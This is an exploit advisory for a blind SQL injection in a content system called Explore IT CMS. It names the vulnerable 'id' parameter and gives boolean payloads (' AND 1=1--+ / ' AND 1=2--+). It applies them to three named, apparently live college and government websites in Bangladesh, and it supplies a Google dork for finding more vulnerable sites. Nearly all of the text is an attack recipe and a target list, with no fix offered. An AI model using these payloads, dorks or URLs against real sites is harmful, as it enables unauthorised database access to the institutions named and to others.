*********************************************************
# Exploit Title: Explore IT CMS - Blind SQL Injection Vulnerability
# Date: 2025-05-09
# Exploit Author: AmirHossein Abdollahi | Mr_Amir_Typer
# Google Dork: "Technical Assistance by: explore IT"
# Category: WebApps
# Tested On: Windows 11 + Firefox / Burp Suite
*********************************************************
[+]:
Vulnerable Parameter:
`id` in URLs with `.php?id=`
Append `' and 1=1--+` and `' and 1=2--+` to the URL and observe the difference in responses.
*********************************************************
### Demo 1:
https://kachalonggovtcollege.edu.bd/page.php?id=2
→ https://kachalonggovtcollege.edu.bd/page.php?id=2'+AND+1=1--+
→ https://kachalonggovtcollege.edu.bd/page.php?id=2'+AND+1=2--+
### Demo 2:
https://www.rangamaticollege.gov.bd/page.php?id=13
→ https://www.rangamaticollege.gov.bd/page.php?id=13'+AND+1=1--+
→ https://www.rangamaticollege.gov.bd/page.php?id=13'+AND+1=2--+
### Demo 3:
https://www.cgsacollege.edu.bd/page.php?id=3
→ https://www.cgsacollege.edu.bd/page.php?id=3'+AND+1=1--+
→ https://www.cgsacollege.edu.bd/page.php?id=3'+AND+1=2--+
*********************************************************
[+] Google Dork:
"Technical Assistance by: explore IT"
*********************************************************
# Discovered by: AmirHossein Abdollahi | Mr_Amir_Typer
